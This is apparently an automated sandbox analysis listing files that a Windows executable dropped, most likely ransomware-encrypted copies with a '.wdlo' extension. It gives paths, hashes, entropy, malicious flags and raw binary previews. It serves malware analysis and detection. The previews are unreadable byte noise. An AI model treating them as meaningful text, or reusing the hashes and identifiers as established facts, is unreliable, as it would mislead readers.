{f.....8R0F:....h..0.73.Q....:....o....j..ZT.j.!..+.d....e:8...:./.#........;.$1i..... .........l..48..27....If.`..&.w6;J}.u.\9...Q.:..TIZj..iif....G..xn..(.b..Mtu.G.w(Y..p..>)..!n58.oS..8tKe...J.%.=.gC../.O&A.L.^fL\............+V...

C:\Users\user\Local Settings\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28\Policy.vpol.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	770
Entropy (8bit):	7.719716888486781
Encrypted:	false
SSDEEP:	12:rZnTXslrDhdH+N7Lh/dr99BsV5/8thoEcjN8reHv1dKdKQ+3TtltTiyVvF936Wcq:r1X8DvHuVrhsVNMcjNy+t3TXkyz93zbD
MD5:	2D0697467D69AD674A3E0C9BF98669E5
SHA1:	9F3088A26EFDE0F0915034E78864C4FC7663B582
SHA-256:	8EBBC6CA759E528C63BA7A6ED6D2E84EFD6D711D60C194874C87FA3534718BD6
SHA-512:	6B268131AF4B05FFFC123AE66E776F70C7A6BF0B60F08E87D8CA2FCB475952E55319C93DC72817DD612D6D880DDD27CF2F036781778475FEBF313D78370E5515
Malicious:	false
Preview:	....By.S....~)..8.2.k...X',..Uj....nd.....e......T.....]..N........;w.l.......6 %.....w@....tTb.k...E..<L..u.yiCv...Sv$.Qh.d./.").....L..Z.Q8........."}.N..`Lb......UpV.KYLS......oEr..c.....R.......M.i.l..T...c.-/mP..Z.\R.q\|....d...D..<s....m..A.N..%R.....?..i..Zk..~81.yZ.'4zz.......k...y-.YD....P.0...df5b.y.X?.h....K.,.t{?.G@U...2.4s....x.n.vQ..g..V.u........}?....e......L..L^~l.a..v.hXT......vW...K.i.c..6./.}.o(..N...<..\|.>...Vf...t.8......Xd"...7m../F..?.V..J2.U....y<.$>.y..BA._.4.....j#......;y-,..h..Q.#0..z.PX.A..1.y.%.S.g.XE.f./i-.h......K=K..T.M..L.E,.)....z.K.7g.....(..w.93.!.7.\.o.8.....W5r&.....X..}....h...&.V7.......jP.......1..a.8.4....i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\2057\StructuredQuerySchema.bin.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	424152
Entropy (8bit):	6.332126534498014
Encrypted:	false
SSDEEP:	6144:N5n29o5lrzodCt4I95pvXWTWnHem+vyJfbnQkK96B88yKv4bWTmTvEiLSI:go3r8dCt4YGWHem+6dF4/X
MD5:	F1B77685039D334639AD877FE5387C34
SHA1:	2914E0E04C173777CE4D7A8072A357CBC32C1CE6
SHA-256:	A70C3E1358D05E22ED14C67F445AF57D362102C5F30AEE8F1B452D8A5E2F32DC
SHA-512:	769A21BA734FCCC043450452061D0F36A5402C73B914235ACD11B9B1C5CFF625A13E0D498768B66B090EA5FD529FCC9AF2C16499679A40AE482F42FFE95803E7
Malicious:	false
Preview:	...P......%A.W. .......h..E.bV.....F7n?...^W...#?..c..mrj.zX.&..~..6.Ho...f....'.j.H..........h.M_...,...^Ns..l.....B..OS..A.<....w.-.Cr<[.s..i84......:M...R=.].......B}....L..J7.......:.Q.....k...C0<...&.......$A.o9.n.........P~.y]O....t.t.7...b'..........5.m.y~&!...S".....d.g....$4.x.z.Z5..Y{.7.a.Z.........U.......f.....F.mz.....O.e...QN....{...D&.....Y...D.....f .).#.!.`.G...mJ..ve&.a...t...?.9..........Z........=..Y9.....\...QH/[.a...M..#4.....M...]BPq.]/.1..ce._.?..H9.....2.3r9...........1..DF.2a.j...y..F~z.bI....&/-.H.$.jK.3;.Uw......#}......'j.. Z^..v...$P2...d..-!>..;j.0F..1^...#..^ P..!("1n....).. ...F.Iv........<...tc.`O.X.w..S^.$...Z.0............L...P4y......j.......K.n........J.........{...B......W....xo.`.o.J......?.K5..Y.zW..Z.d..=....3R./.\...S.:.-...E.w........K..]1..d..h..]....#4.\|Vt...y;..0.'&.._.l.,..J!........<.uk.z.-....V... .,Z.U%s.Z.<......>o./.ni>.#zN?.~..e.X85...@./!...........T<] )..A...{..\|=.......r..

C:\Users\user\Local Settings\Microsoft\Windows\Caches\cversions.1.db.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.986535101793037
Encrypted:	false
SSDEEP:	384:ApdGXWbaJKotoFHIHm9VZBhfPDvZy/TGUB/8QjOHsOAkfM5J:ApEXgath6VbhfDU/TGUB/XMsRkfcJ
MD5:	04B45CE799A525ECD8AC7B1AEF723D71
SHA1:	20FFBE58AF2E8F2D5BDB476905943568E9C5495E
SHA-256:	54C4F10A41AE8C32715ECA1D292DB03FFCDCC0FDC4966454CDCB58CE206A61E2
SHA-512:	CBB7446C60FA2A0D1E9CE10B02AB8E59B8D2A1CCCD023EF0048D4612C218E3F5A2217F377E7C084C826C734C37EA755D0733526811D103131E2B0AD1946C2F5E
Malicious:	false
Preview:	.... .w..b....P....G..R..'."...$w.Wzn........w(....Jh,.{.9...O...../.NT.eo....... f/.%...8m.`?.K.......^.8p?..<.`....l6.....\.....h.#q!5y.R..QQ+.b&.uAz."...N.#..J....d...z....._.l....U..\|...h.AXF...iE.).U......]we.....4....K"...x?.....gQ.....?.yw.....#....I.j....X..\|....a....R..!9............9VU.c\qu,j...><T..C..=....N.....f9.:zA.F.3..C1.......K....P&7.w....;.....H...`.n......C...f'.9..r..Z..2t)....6C....R...g.P../..v6.....^....i.....\|..l.zw.....9.D...v..p=9..ke.=..._).r.&..x{..kH...E.N..sw.Oj...).T... .-Ej.m.K...0,..[....9.j...o(cb..rO.)4....,.......3...P.D......Z7.V,..d.`.Q.E....S6.cN..2..}..D....f..R...V6z.....7.......w.....eJJ.`......K.e...-...2DQF..&......F.C.i..G..k....t8....m.......p...F....F.3#.[Wp..QB.KY....m).....bUbr............U.u\.+...g..If..;.....9..{.....j$.y.)...r.ULE%..R..Y....*\..:...D...g.5...f...u....^..9.?..\|G.4.\.u....u.\|,>.'.C..U..?.....~....H..-x..6.O`-..R.aOE.I.#.....MT.i.....&y...~^....B.ux.o5.U.

C:\Users\user\Local Settings\Microsoft\Windows\Caches\cversions.3.db.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.989591209515985
Encrypted:	false
SSDEEP:	384:UNJkZ4sGJQdEyi5X8DtkbFihyfpwre4mFsm/nRbVqSKnxMt6s:EJkWXyi5MabFigf+rVWRbVtks
MD5:	FA62A318F7845903CC037376BF36FDD1
SHA1:	B060DFB85529290EA5D72B8C3D142A1793D0BB88
SHA-256:	0933C99F329FA1A1FB8C716E71A4069AE56E4D0BA90CDA8F4B48F831C679A6C1
SHA-512:	F43CFE0310D23C7CAA8501F6F1C1DBF5975779E1381478CCAA18F9E0C0573D6FB213513C9EDC91A74851DD42E172BB7024915811B0083F180FB1B156D93A132C
Malicious:	false
Preview:	....`i..c.r6.....S,.8..v...p..^3...."a+..l.:.9N.R.4.\.e,..t.lF[........XG...+4e.......64.F.......W9p0...x.2C.\|..!.W.n.E.......j.j..$'.g..0d....L..wC...iHJ...Gm..NN..N..Yg.7.rK..~2.GmTT....;.<B~.......x.t.t.eZ...9....T..bq.8#{...o.,..C.'[...$.]$......fE....\|..U.4.....q..x,Ii.. .#..V...X....h......e........8......b.].H\|...K..Q.":....=.....{........nu......`.4T.0!...x1<2.[m.....u. .3......gO.<-...lE..#..TY...I....1.r.\4../.........w..</j~+....)...B\..$P...^7.K~.6.F.....O...._&><n.5..K..<.Q..3.x..D...m=./.r....E..........5.....G.m....U.B.j..:5\.....v...K.5..H.V-.C.....9.k.Buce...5....a.0.~^.$,...1.......t..../..UI./.N.....w........C.=.:.........X.w..F."ZM[..'...poS.ro. ..e.s.w(.-........7'..C...6...U......\.VW:Y.......d}.F..`...S.#.d.......a.....@.A.'.D~..#.#..Di..'.."d..`o.......NK........J._.>\.......z..r(..T.J.S.g........o.\|Q[4m.T.......v.>5......`..H..+ m.5...,..h.....$...6..b;.:5..;.l......{.>..q[........

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{2135BB99-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	424190
Entropy (8bit):	6.331929116839818
Encrypted:	false
SSDEEP:	6144:JJbRaYhs3t141bbxsFV/SHnb3Znm+vyJfbnQkK96B88yKv4bWTmTvEiLSG:JJkPd1EbbaV/05m+6dF4/V
MD5:	67F7B3224FEBB96A77031A2B00CE7053
SHA1:	E48168A799C91381B206E36CB8A3979353D03E83
SHA-256:	E2F16A8DCE07083E2FCA5B7650D4B95142399D19E0F12BD4997FF5BE453C6EA3
SHA-512:	6CA92C12D55431CF92124765FA668152F205FBD3360EE5977EB5E0507C6F3E0B73A7D957E48B2651A8BCFF080C75DB63EB302B9E529F7E95FD380E0E683F5BD3
Malicious:	false
Preview:	.w.. (.?Jt.t..2o.\p.l.D... .\.q.?t./w..o..s....]W..r..dCg..$<('.S....B...P.L~.@.Gg........{..`tr....g..Q.;..U..N.Qh.$.TJ.Z..G.]/M.s_D.1.>..X.XD.?~...S.5\>!....l..eED.#Lg&...AA}0],.F..IE.r9.$...\......M"..U.d....<u....l6..v..,{.j....8.h..w..z............Ee.p.Z.ZY.g5:;r....k.nd..pVdE5.[.y..."..6&.~..].LAwv...%.]..+...<G...rl...!.+.a......>.Pylq%.p.....6..\..y.I.RP.....i....t;.....X..B......].[....i..8..tU.(.Rd.......nmi..]~u......_79...#..-...9.....}.{iX......z...i......A[.t@g.r.TO.Qqh.T..Mr.z.b..8....@....k.J5.jX..B..;gJ..T.V._@%a....Ny.%...6m>m:.J(G.?P...... [.........;.J>...,h1.ZX....k...0Eyi..>.>{-...(.P.3d....9.Rw..Y......v..6.=.P..I........h..A=L...jE....1S.f.2..F....f....;.T.a$.!t6Up.ZtQ..1M3q..6.)....u].k<.....'p.U$....%.dX.9.'64e33q....U.C.DK.F..@.p...J...+Y..........S].S....../..,...U...PN..oKt.H....JIz<]..~icW'.8.K..0.8.`4V.G....T.p.T4.z_@.B..z.~Y.......I=..-.}....-.$g.c..T.."...2..-...-..:M0.....c.-..%.xm~.Q.!.E.

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000013.db.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	102814
Entropy (8bit):	7.998247532926042
Encrypted:	true
SSDEEP:	3072:Whx1+kRI+BdOb8r7XqKeCIma2V//AZJqQybbDNn0V:W8kRI+bpr7XqKfIJqHbtn0V
MD5:	9AC26385ECE1C32253DFFF0BCDA76DC9
SHA1:	811DC49F124838B2DC6F0F819BD8DF43320E6FB6
SHA-256:	143B9A3DDF79F02B268A8CE59AFB3EB80F17F8C2BB3E30B77D96A6B4FAB20196
SHA-512:	79590A1319F2D46376157A0F5EAEADE3846350139D9CCA2652E2D0FBD4D075BC3371B35993AEA3A7D271F8D1E1773060C19FB132A5AB252C1BEE9DFD51B58FED
Malicious:	true
Preview:	....h2>...".FB.+.J.?."..-p.x...GY.E.....\0G%..b.GU..o..f.8....r......#..Ry<X........T>..........0.......g8......T..5...).LF....r.g..h.6...[c.<7....m...t...L.O..R.5r..Zo..G...Dub._..2.J-.X7....\.....(..7.T.O.I..h...w.yi..p.y..>) .Pzg. ...h)....y&g..v.....7.r.K{u.\|d..h....:./(+(l3G...5..RQb..N{ LY.,.....<FaO.U....HF..Z9.9`..]}..?.......7.f.H%b..Dyr.`..i..Gwj.T.#d..6.[~...F......K..c.w.js.h.F..'/..P....,.YG...\.X...1]2....J....}.Lz.e.D.\..X.6T.Z.Uv.XE..o.3.8z....@j.E.2,..Y.E..A.%..`...>..../Q..)...Vd.+.`.avg...J..'..(.....s...2.h...AP.+..a.fM\|.._q...Wm...i'$...e.......q.?.......t$O......V.Gh8Rl<UJ....(">...B...W].....#I.s...J.B7..N.ZY..0u.....t...O=.p8F+h..w+.:.../..H.o.+..p....Xj..EFUB.Q.2-...I..... .P.T.{e...].../.:..Ndk.`/.G.E..2.RE....r.j.......7,.:}.y.n.o.d..(...k)..&:...q..jv;bb.../..H....?_"......x.d.....(...{\....:!^..Y........8o../g..W.)95.....).?\|....{mE.=!....{f..3`E.P.K.x....'..)IL.f...Z_.?T&e.'-.....UXj..m..rE.\...J...YvHX.x..

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000004.db.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	75398
Entropy (8bit):	7.9975918910896056
Encrypted:	true
SSDEEP:	1536:imGLmQ4l2D/K33jyP0iYlwMaliIRCTmbmgfwayw43mTo+Kunq9IyXrAJe9Lh/:ijkw83OMiYlakmbmO4mTohunCaQx
MD5:	E31F8104916A9746362A4B5C1A2DA0F7
SHA1:	0A9CCD2EC96C644CD6EAF0CF04F3CBF76F6956E4
SHA-256:	16E21A326F9910402B04D557AC39FCB5327DDBA541ACF07F94F3394C01FA73F2
SHA-512:	0602ED05F2BD3D2DDD0515F9116F0CA8414083082D08E78FF4B9799CA990D682E6E0817F381F6A8B8169BCA6692887E9F4B442BC0965379494F84F561C808335
Malicious:	true
Preview:	.........J..~.W.;I....Y .8.uv.}x.......,.WGM...R....Y....r..t..v.o..+.l...N.lN...........%.DE..oC&g.....R4.....s.s....4@)....Z.#.YV{g.72................]...`.f...Xm9Py...H..wN.-.\ .S.......U......f.i..9.NT.'..#.....(..8.kV;2.`..@.c^.....Q.PW..y.-.(..J.....\.\|._./...w03.Tm......o.J..h...j.ok...~.zbj..W...<j.M3..$.....?`L.F...(.I;........K]zv.....B2.H..7..}..Z.V'.&.5.$...i,.]....A....R....V$.m....X.a.#.$......V...^.EM K.`k. B.....@....\.g.N`.N.....4...J....I...JC..eU............c....1.t.'n../...)w...k.`..9......\.X.>/..f.+..........rn:...f.6-x.0.s..\..,.L...ph..M.....'........./.J....O...kZI7.:"e..r...$.\.Uq^i.\|....%.....#...6....[........=...^...&.`....HmJ ..PUfn.6.[...ou.."[u../...<.a.V.cYG..GYx...u.Km.....N%.SO\.......F..]..K.....%....!u3....u>gz..h....j..L...&..j.7....W..hk........F....y&...~n~..m)D..wrx......R.....N...7S.8.........\|....#....f..%..'....H....`..E.1,...{.AVw...(_..s.N......u^.....?....B.....7.e...y.B..

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000005.db.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	105318
Entropy (8bit):	7.998185287732466
Encrypted:	true
SSDEEP:	3072:17GjRQHfjY/K1gvCJ5sVW+SX9YmBM2d1eJjr8szL:0RWfjuKivCJwWDX9xa2/SxL
MD5:	E10119DCCD4435E28DA7CC5188300660
SHA1:	76B4208DBB7B2DFBF03D7BA2E73E72210862B264
SHA-256:	4DECEC8474DD9C954AD904AFFF9FD7DEBBFA4C5D309B0FAAC2B609981CEB2B13
SHA-512:	337B106560300E1DB856CF6401C2E9E0C2588DCDE9F546BB402A912663BEE2CFFEE6636D8D37CE65268BD22E5609564ADCC07164FE1A2C69B8E55B7E7560A5DE
Malicious:	true
Preview:	.... ....,y4.._{SX[..t...L.9(..n..x..Vz..v......w\...uk.K.s.Xk}^.f....~...\|......0.....#..-.o....-x.7....}....ef^..........GC,M.C.7Z...u......0>.vp<<....v.=.olF..F..(.0......4.j..M.(ax.M.Fv.E%...;......ny.th.T.c.0.......>m..u......]9do....x.x...e..ju.(w...uDD.^...(....'`...2.......7........d..)<e.l...n..........[....mY[w..m.}e7._g.{.w.....B......!....%.0@..X<b.yo.e..,....1..k..........WBI...C...\...F...t...t...+...b'.X0@K....RK....s.....2...hK.4.$uG.cr..6 #Yh...4].ZW(s..<..5h....0-W.u..T........]5GM../.U.E.4g_...J_t........2.2..5...bR+Q............7......Y.....(.....H.^.".a.9..X.\}.Vq~xz.RY....SN+>...17.R-B.Dz....1U..AP._..aJ.?..0...j.z......+.V.Ur...E?....6Xw......1.......{..U........h.?...dl....2..+..IY.j.IX..<.B..d.1.i..}.....jr....H..{3#.......-4.pYp,U3.........:7../.>&....9.t..~..4.@..d.....@.....2U....U.CA.hA^.O53(.... ....@.....l.O.Hh5D..f...>.......qv...B....oae.\|.oB......,..n..x.A.e.q..k .......m^.....s..M..........x..'m['

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\ExplorerStartupLog.etl.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	581966
Entropy (8bit):	5.737381832591113
Encrypted:	false
SSDEEP:	6144:LwocD4aftoU/2AfKuqW8lmvYpJCN5OFiNa1mYSOb9v:7gVl/2eKNHm+JPFiNGmpa
MD5:	271D4B0FC5CF261EBCFE063C2F5F22C9
SHA1:	6DBB21555ED0F57CF7BDF575668EBCF5CE8B4216
SHA-256:	FA4766BE893B097A00A2117601B7EF499431E8F2EBD8B1993625BD99E4D0FBD8
SHA-512:	D67A3136C6E389B2ABE75BF779F2F471F90E2CCDC6EFF6F2498699BA5A0498E382F2632F74EF837987031D1462E5FFC2A556735111322C554128C60139FF5A6F
Malicious:	false
Preview:	. ......./\.>.!.kK.G..].=.A3.m.0d...F. J.R.8k9.....2.@a. (6n...].K..?.#..xXD8........7C.g.q..8.@..7.`}.1..]...Ej.6.Rt.2.+.eb......Q.G%+q....r.;E..e.....".t..5.&4V..S...Y+1....%........^)....8q\...0...w.....(N.e.$^..b...~~.p...1(....T~...+.%}+.......7........\.......H..v...wr......B.n.......[.i.....r.O..<?.....`''.....2..f.l+Y.\|....d.%....(W.Z..o...w..j.....%P........}jj1....!-....'X. G.7g.!?p..V.&"R..u.....FM,..E.[..)4l.l.....(E...............9..\|?.`!...R+D.n.[''<x.B....<..%].........\......\c0^1.)qsi..)...).b.....[..TO57.Z.mR.b...i.'2.........n>>.?..i.....O;.1e...<.=.......3,. y.Rj.B.IDD../.3....Wq.....;w....(.q.IKT...O...U..u._d.....,e...2 E....e.\@..F.G......Ee.........^\|7...:[!^)..2...H....k.t.^.{.hE.9..R..N...r}..Z..BX......[..~)-......@U.G.A.0..C.....\...m.AA..K..........*i.`......[CPl..h.F..S..W.q.H..............P.B..VI..R.`v..fl....'...Ka.zh.Rc...\|.5.....m..,.%...0.w+.>7b..<{.84`..i..i\..S...g..<(.\|........p..A0..].........<.R..o

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.992545134242374
Encrypted:	true
SSDEEP:	384:UKJ2khqRNb9PnKkwikyctOgHV+QZbjQvBy1MIZc91mwWwQFudBe9YwPq5v8Lb2kj:WkZtikywVFbkvw1VZuvQFuDqtPzLbbXz
MD5:	F7337C69B607FFA1F12B43652E06FDDE
SHA1:	AECE2AACA69640AE26515949AB5A1CAD1BC11667
SHA-256:	9624845B0DBE6FA124924741CC51A66FDD86247774D01D2FF5AD81E59D175296
SHA-512:	2DC54655EF1E3F344A3CE682316218C0B0F9F5C6CE497A1660E13919BECE0F6942C663ED8C19D4E99C2113EB26725220D740FE63F7C136DE68F36D9B0339A434
Malicious:	true
Preview:	. ...r.%E.y........y.O.].W.z.Ft..e...,..g........H.X...h.....yL.!$.^^o..#56.(...r.,.glO.%}......G....k.Q~p..Sh_..A]..Q.C..+...\|C.".f..\X........{H.$...)>e.Z."...\|..{...nA...%^6~...]...a.....d...5..5..B...'@.=%,T(`.j4.......=.i..[s...\|J=Y.....bJ.p...7.I2X^.?oA..s.+.y&.T&.e$0.......~..\...KQ.C..K...Ty.]!,8....VH..w.A....^..P...-.m..j..?.}..u3.q#..)"7&.;...b...........=...'..UX9N.....+q[<......h~.w/.._Lq...BX.u4D..Y.Z.I.(.\|..F.....nVyT...e..Ay......./+.....6.^..b...Y:..K+..p}..D....5.sb.\|%.F5..........2.....xeF.>C..+x}m......M..N.'.$.Ce.].(3_...=.Re.7.j...o....%...u.V..Hr....i...=u...+)...r.[........4....\T.n.....F........1......X...i..<.......G.T.o..fs.6..P.n....M.o#..\"o.8;.j.G.......$.a.......c...P.......X. j...B.R...[....slvY9..5...CW...h..,.B..&b...G....._g.s..`.,?.....K...`....@.[.7R...yb....{...).W...p.s.......r*..{..#.K...F.2I.~.?..j..1..1.e.b.V.(.C.....iQ.M.WX.S..h.o..4.j.u%VO.^+<}....~..Y......w..)]...-.f....[&.0..

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_1280.db.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.282029362892034
Encrypted:	false
SSDEEP:	6:exh/inE0xYEMNNSRq14hc8U5O8k6jXkPp1Cuc5bSXCMeRHOsVolWbz6Wcii96Z:KVihxYxNSm8UNk6rkPp3LC7h36Wcii9a
MD5:	56DC539D1AA20E6095A7C05D31DC17F6
SHA1:	6C9BB210AAAF4D6A2DDA58CD7A7773315DFD7319
SHA-256:	6E545BF2B66976D9EB6F6A866970DA338A095F9322B28B3B89C89C1BECDFB01A
SHA-512:	71DC49EA0A0BDD362154CD43EDEA494F62FCAEE56A832B8B333F7A96B53DCDD70E0169735A82753D1BF95B5FB5E375B3045B71DE6603202CE02014ACF4B00249
Malicious:	false
Preview:	CMMM .`..o..:TnQq>..b....I.........7..1\|........./.PV.!.wT.OV.bq+......%.,...=.ua........_#1.t.....P[.2..G.WD.K.4.z...of v+.B.\|.Rq.g!...I.R.Y.bb..KD\!9"".h).M.5.y.."3.Z:n.D0..e`>w.P...m..h..*Y.R.X...#....#..0....\......U3{..0I.`..W.b.h:7...&5.rv.l. ~..]..........i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_1920.db.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.234209766582638
Encrypted:	false
SSDEEP:	6:ERoEjwZqOzehaD79F4hfA3D/BEt6DqrF+1tX9JBsfa1BOsVolWbz6Wcii96Z:ERwZlKE/4JA3D/BEqqrcNJaYT36Wciik
MD5:	FA6003A2E2E6E4484C57FFD1CBFC493D
SHA1:	D58D2E9DCB3281D2DEE6678CD9B7EB8C84956B02
SHA-256:	E3F05EE3E7C729315A31CFA7B6A6898268E4AC03833CFA29908CF4D95B3BF34C
SHA-512:	6925696C813846F28C5101B9937BB813F122162DFB3E0DF7C7B719B92937EEE0719BF065F44CEBF009ABE06E0592FDCF13B40FA87BD88842E37C23FAFEE3DDDC
Malicious:	false
Preview:	CMMM G..:...oHZ..\5z..x-.D.qO...K..J\|H.....~.k.^......"...q..x0@....se.7.;.....-.0....6s.}x.t/..V...u^..J....6".p.X.1WS.o.s.;.l...a\|f.4E...o.....9.?~M3.I......s......E..[...........O\..,.$9H.....r}......T...M....o1G.^..;r.../..L6`....x......n.]..:5.JK.A...J.(Uq...Yi0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_2560.db.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.333956989891429
Encrypted:	false
SSDEEP:	6:WycCnr2xCYVcd6O1H02LKW640BeWlOucoPBcQvPnbOHElMNx+unBI9t71gOsVolC:JcCnrWBcd6oHdKW6JYQPvPbkEWv+X9pM
MD5:	9AA9C6E08F28E14ABB27A47A7C1BAE06
SHA1:	DF6EB9F2299624EB8E0A12D8C9F75AB3A2BA564D
SHA-256:	9DCE827B32A63C5413E4952F7F374AEDFE4948D694F7508083F4A7AA644A749C
SHA-512:	307AEF66A709662D09C76D7ECD0C4382AF85CBA6114279C97E5A2058628F397E3776817C04004C5C5A3BC226EBA3E9BA549A390F06AF3596B87272E6114BAE99
Malicious:	false
Preview:	CMMM #a..:tf)!......t.lo...ld(..w./IH.M^.nq..Uw......;...... ...'b..C=....A.G.y?\...]"'G3(c.d.q...1....!.A.Q}.d...I.W_..>......}0k.=?..o^.k'.8..q..!.........k.....{v..y.......h.<..(...Qpq=L..&E..... ..LR..A._.....K..m/.d6i.cSrp....U."..F...B..._l...h9..v.?..-.....E.W{}i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_768.db.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.287668808346882
Encrypted:	false
SSDEEP:	6:zt6IHQDwBKwLExwWDtP/jgZLL8a1/cuWTFMNN/2Ixji7OsVolWbz6Wcii96Z:ztvQu6DtX0Z/8iTUiTrxjw36Wcii9a
MD5:	9C87A22FEABF70A91C27EB75BDAAFB11
SHA1:	87E44950F2A2F752D95522430EAC5D39E4C20199
SHA-256:	315F57415E9F4E2E7B38BB9807A8AE4123EC60F212F67AF06A4DA103CECFA66A
SHA-512:	ABA4E488EB584841F4013D6C05D14F5A9DEA6A71DDE898D1C641E278FE204DCFA7A3FBEF451DF821AB1F3FEF844AAA38E503A17E35F1F4F4489EA9602F9A882A
Malicious:	false
Preview:	CMMM ...w<dv,....wB\|.4D.K..w.A{..].,.M......mT<xE...l.b.V.sf.X.$...o......hV..b.....3v...2...~L{y.@...<...j2-...4..9......~.C.....1..R.R.1..!,....~}....V..M.H.~s..;>"...>.+C.6..%i.m...p.d....~.+.e...B...pQ_....F...$./.~G`......]..."...=.F[#I2..".}D6\|=..@.....D....i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_96.db.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.21218754027059
Encrypted:	false
SSDEEP:	6:COXFsxW6gIK10vUai6GP8WBAgdXScbE3nYuiOo/OcrBOsVolWbz6Wcii96Z:COXFslKGv/i6GDAgUX3JE/OcrT36WciD
MD5:	F9CE8A4A00A2DAD5CCA7B29B4DF66F54
SHA1:	DC0641A2D4AEA9CAD1293F69D327EE32E12E9882
SHA-256:	F591EA113D68E7541AE214EAA9726B031DA7EEB76D25F733C1C329DB254488C1
SHA-512:	DD947A906A6F0E0FA5EBFDA55C0F7894A4C4944885CEBE60FF78E263DD481EEA72EF31332339F43F05270D1898C28D7EB38BF89AC554F2E836A29973F0E3C4B0
Malicious:	false
Preview:	CMMM n..R.Ou?.\G.S.8.C..d.B....I!.}....q......p.....l..7....r.......`(.D"1.6...M.T..4w..r..G:.uDO.2..5!...6.+.).L...zT.h..8M@6.p.+...6r.m.nv..Y.P.&....t...p.4..80..M...XM.A.VQn.-....]...M.lpA.%`.p_.+....B.A.y. .00......vk.ss\.>.M..!...0F.DU......4.h..'.........i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_custom_stream.db.wdlo (copy)

Download File

